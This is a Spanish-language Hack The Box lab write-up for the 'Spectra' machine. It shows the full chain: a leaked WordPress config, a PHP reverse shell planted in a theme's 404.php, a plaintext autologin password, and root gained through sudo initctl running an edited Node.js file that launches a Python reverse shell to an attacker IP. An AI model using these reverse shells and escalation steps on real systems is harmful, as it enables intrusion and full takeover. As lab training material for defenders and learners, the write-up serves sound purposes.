This page looks best with JavaScript enabled

Hack The Box - Spectra

Spectra es una maquina con sistema ChromeOS. Obtuvimos acceso con privilegios limitados mediante las credenciales y enumeracion en Wordpress. Con credenciales de autologin obtuvimos acceso a otro usuario mediante SSH. Finalmente obtuvimos acceso privilegiado mediante una herramienta de control de servicios y modificacion de un archivo de JavaScript.

Nombre Spectra box_img_maker
OS Other
Puntos 20
Dificultad Facil
IP 10.10.10.229
Maker

egre55

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.9, 4.4, 4.6, 5.4, 5.6],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[3, 5, 5, 5, 5],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Nmap 7.91 scan initiated Sat Feb 27 23:33:01 2021 as: nmap -p- --min-rate 10000 -oN allports 10.129.81.209
Warning: 10.129.81.209 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.81.209 (10.129.81.209)
Host is up (0.088s latency).
Not shown: 33267 filtered ports, 32266 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Sat Feb 27 23:34:48 2021 -- 1 IP address (1 host up) scanned in 107.46 seconds

# Nmap 7.91 scan initiated Sat Feb 27 23:36:14 2021 as: nmap -p 22,80 -sV -sC -oN serviceports 10.129.81.209
Nmap scan report for spectra.htb (10.129.81.209)
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp open  http    nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 27 23:36:30 2021 -- 1 IP address (1 host up) scanned in 15.36 seconds

HTTP

Encontramos una pagina web en la que se muestran dos enlaces hacia un dominio (spectra.htb).
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos, pero solo encontramos las direcciones de los enlaces en la pagina.

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://spectra.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,xml -t 100 -q
/index.html (Status: 200)
/main (Status: 301)
/testing (Status: 301)

WORDPRESS

Agregamos el dominio al archivo /etc/hosts con la direccion IP de la maquina, en el primer enlace (/main) se muestra una pagina de wordpress.
image

En el segundo (/testing), un error de conexion. Pero en este ultimo al eliminar index.php nos muestra una lista de archivos los cuales pertenecen a wordpress.
image
image

En la lista de archivos vemos wp-config.php.save el cual contiene el codigo fuente de lo que parece ser wp-config.php. En este archivo encontramos las credenciales e informacion de la base de datos utilizada por wordpress, pero, no tenemos acceso al servicio de la base de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(kali㉿kali)-[~/htb/spectra]
└─$ curl -s http://spectra.htb/testing/wp-config.php.save| grep -v '*'
<?php

define( 'DB_NAME', 'dev' );

define( 'DB_USER', 'devtest' );

define( 'DB_PASSWORD', 'devteam01' );

define( 'DB_HOST', 'localhost' );

define( 'DB_CHARSET', 'utf8' );

define( 'DB_COLLATE', '' );

define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );


$table_prefix = 'wp_';

define( 'WP_DEBUG', false );


if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

require_once ABSPATH . 'wp-settings.php';

WPSCAN

Intentamos utilizar la contraseña y usuario en la pagina de administracion de wordpress (/main) pero no funcionó. Enumeramos los usuarios utilizando WPSCAN.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
┌──(kali㉿kali)-[~/htb/spectra]
└─$ wpscan --url http://spectra.htb/main/ -e u --no-banner                                                                                                                                                                               1[+] URL: http://spectra.htb/main/ [10.129.82.67]
[+] Started: Sun Feb 28 18:55:50 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: nginx/1.17.4
 |  - X-Powered-By: PHP/5.6.40
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[... REDACTED ...]

[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://spectra.htb/main/?feed=rss2, <generator>https://wordpress.org/?v=5.4.2</generator>
 |  - http://spectra.htb/main/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.4.2</generator>

[+] WordPress theme in use: twentytwenty
 | Location: http://spectra.htb/main/wp-content/themes/twentytwenty/
 | Last Updated: 2020-12-09T00:00:00.000Z
 | Readme: http://spectra.htb/main/wp-content/themes/twentytwenty/readme.txt
 | [!] The version is out of date, the latest version is 1.6
 | Style URL: http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2
 | Style Name: Twenty Twenty
 | Style URI: https://wordpress.org/themes/twentytwenty/
 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <===============================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] administrator
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[... REDACTED ...]

NGINX - USER

Encontramos el usuario administrator, utilizamos este usuario con la contraseña que encontramos en el codigo fuente en el panel de administracion de wordpress donde logramos obtener acceso, aunque la pagina no esta muy bien esteticamente ya que no encuentra las hojas de estilo.
image

Utilizamos el editor de Temas para agregar una shell inversa de PHP en el archivo 404.php. Para ejecutar nuestra shell inversa, “generamos” un error al visitar un post que no existe (http://spectra.htb/main/?p=1338), con lo cual logramos obtener una shell con el usuario nginx.

En el caso de que wordpress no permita guardar los cambios en el archivo php, es necesario cambiar de tema, y luego de guardar los cambios, regresar al tema que contiene los cambios realizados

1
2
$sock=fsockopen("10.0.0.1",4242);
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);

image
image

KATIE - USER

Realizamos una enumeracion en la maquina, encontramos la flag user.txt pero no tenemos permisos, por lo que debemos de obtener acceso con el usuario katie dentro de la maquina. Además encontramos que es el sistema operativo es ChromeOS en su version 87.3.41

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
nginx@spectra /home $ 
find . -name user.txt 2>/dev/null
find . -name user.txt 2>/dev/null
./katie/user.txt
cd katie
cd katie
ls -lah
ls -lah
total 36K
drwxr-xr-x 5 katie katie 4.0K Feb  2 15:57 .
drwxr-xr-x 8 root  root  4.0K Feb  2 15:55 ..
lrwxrwxrwx 1 root  root     9 Feb  2 15:55 .bash_history -> /dev/null
-rw-r--r-- 1 katie katie  127 Dec 22 05:46 .bash_logout
-rw-r--r-- 1 katie katie  204 Dec 22 05:46 .bash_profile
-rw-r--r-- 1 katie katie  551 Dec 22 05:46 .bashrc
drwx------ 3 katie katie 4.0K Jan 15 15:55 .pki
drwx------ 2 katie katie 4.0K Feb 10 06:10 .ssh
drwxr-xr-x 2 katie katie 4.0K Jan 15 15:55 log
-r-------- 1 katie katie   33 Feb  2 15:57 user.txt
cat user.txt
cat user.txt
cat: user.txt: Permission denied
cat /etc/*-release
cat /etc/*-release
BUILD_NUMBER=22
CHROMEOVER_BUILD_COMMIT=829e617e7b8467c355f9bd61f87835bfeb0da547
CHROMIUMOS_MANIFEST_COMMIT=38c4f6ca60a47f7fabf0fcd5d6feabf349e3f002
CHROMIUM_BROWSER_COMMIT=ef24d0b3349c2324d18a3f32bc35d14e796aeddc
PIPELINE_TAG=prod
USE_FLAGS=-cros-debug beerover virtualbox
GOOGLE_RELEASE=87.3.41
CHROMEOS_RELEASE_BRANCH_NUMBER=85
CHROMEOS_RELEASE_TRACK=stable-channel
CHROMEOS_RELEASE_KEYSET=devkeys
CHROMEOS_RELEASE_NAME=Chromium OS
CHROMEOS_AUSERVER=https://cloudready-free-update-server-2.neverware.com/update
CHROMEOS_RELEASE_BOARD=chromeover64
CHROMEOS_DEVSERVER=https://cloudready-free-update-server-2.neverware.com/
CHROMEOS_RELEASE_BUILD_NUMBER=13505
CHROMEOS_CANARY_APPID={90F229CE-83E2-4FAF-8479-E368A34938B1}
CHROMEOS_RELEASE_CHROME_MILESTONE=87
CHROMEOS_RELEASE_PATCH_NUMBER=2021_01_15_2352
CHROMEOS_RELEASE_APPID=87efface-864d-49a5-9bb3-4b050a7c227a
CHROMEOS_BOARD_APPID=87efface-864d-49a5-9bb3-4b050a7c227a
CHROMEOS_RELEASE_BUILD_TYPE=Developer Build - neverware
CHROMEOS_RELEASE_VERSION=87.3.41
CHROMEOS_RELEASE_DESCRIPTION=87.3.41 (Developer Build - neverware) stable-channel chromeover64
nginx@spectra /home/katie $
nginx@spectra /home/katie $

Tambien encontramos dentro del directorio /opt un archivo de configuracion que tal parece realiza la lectura de la contraseña que se encuentra en /etc/autologin/passwd y la pasa al script inject-keys.py.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cat autologin.conf.orig
# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
description   "Automatic login at boot"
author        "chromium-os-dev@chromium.org"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
  passwd=
  # Read password from file. The file may optionally end with a newline.
  for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
    if [ -e "${dir}/passwd" ]; then
      passwd="$(cat "${dir}/passwd")"
      break
    fi
  done
  if [ -z "${passwd}" ]; then
    exit 0
  fi
  # Inject keys into the login prompt.
  #
  # For this to work, you must have already created an account on the device.
  # Otherwise, no login prompt appears at boot and the injected keys do the
  # wrong thing.
  /usr/local/sbin/inject-keys.py -s "${passwd}" -k enter

En el archivo /etc/autologin/passwd encontramos una contraseña, la cual utilizamos para obtener una shell con la usuario katie a travez del servicio SSH.

1
2
3
nginx@spectra /opt $ cat /etc/autologin/passwd
SummerHereWeCome!!
nginx@spectra /opt $

image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos sudo (root) para ejecutar el comando /sbin/initctl.

1
2
3
4
5
6
7
8
9
katie@spectra ~ $ sudo -l -l
User katie may run the following commands on spectra:

Sudoers entry:
    RunAsUsers: ALL
    Options: setenv, !authenticate
    Commands:
        /sbin/initctl
katie@spectra ~ $

initctl permite interactuar y administrar servicios, y con este comando es posible leer el archivo de configuracion de cada servicio. Intentamos crear un archivo de configuracion para un servicio nuevo pero no tenemos permisos.

1
2
katie@spectra ~ $ touch /etc/init/config.conf
touch: cannot touch '/etc/init/config.conf': Permission denied

Al revisar los archivos de configuracion de los servicios encontramos que algunos pertenecen al grupo developers del cual katie pertenece. Además listamos los servicios pero ninguno de estos está corriendo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
katie@spectra ~ $ ls -lah /etc/init  | sort|grep developers
-rw-rw----  1 root developers  478 Jun 29  2020 test.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test1.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test10.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test2.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test3.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test4.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test5.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test6.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test7.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test8.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test9.conf
katie@spectra ~ $ id        
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)
katie@spectra ~ $
katie@spectra ~ $ /sbin/initctl list|grep test
test stop/waiting
test1 stop/waiting
test7 stop/waiting
test6 stop/waiting
test5 stop/waiting
test4 stop/waiting
test10 stop/waiting
attestationd start/running, process 1687
trace_marker-test stop/waiting
test9 stop/waiting
test8 stop/waiting
test3 stop/waiting
test2 stop/waiting
katie@spectra ~ $

Revisamos los archivos de configuracion de cada uno de estos y encontramos que todos contienen lo mismo, y esque cuando este servicio es iniciado ejecuta con nodejs un archivo de javascript, que además tambien pertenece al grupo de developers por lo que es editable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
katie@spectra ~ $ tail -n +1 /etc/init/test*.conf

==> /etc/init/test.conf <==
description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script
    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js
end script

pre-start script
    echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script

pre-stop script
    rm /var/run/nodetest.pidLocal StateLocal StateLocal StateLocal State
    echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script

[... REDACTED ...]

katie@spectra ~ $ ls -lah /srv/nodetest.js
-rwxrwxr-x 1 root developers 251 Jun 29  2020 /srv/nodetest.js
katie@spectra ~ $

El archivo javascript es un “mini servidor” que corre en el puerto 8081.

1
2
3
4
5
6
7
8
9
var http = require("http");

http.createServer(function (request, response) {
   response.writeHead(200, {'Content-Type': 'text/plain'});
   
   response.end('Hello World\n');
}).listen(8081);

console.log('Server running at http://127.0.0.1:8081/');

El “mini servidor” puede ser ejecutado por el usuario root mediante initctl, por lo que podriamos editar el archivo nodetest.js para ejecutar comandos como usuario root. Agregamos nuestro codigo para ejecutar una shell inversa de python al archivo nodetest.js.

1
2
const { exec} = require('child_process');
const child = exec('python2.7 /home/katie/shell.py');
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",1448));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
1
sudo initctl start test && sleep 10 && curl -s http://127.0.0.1:8081/

Intentamos ejecutar el servicio test, pero el archivo nodetest.js era modificado seguramente por algun cron o script, por lo que intentamos varias veces y logramos obtener una shell con usuario root y nuestra flag root.txt.
image

Share on

Dany Sucuc
WRITTEN BY
Dany Sucuc
RedTeamer & Pentester wannabe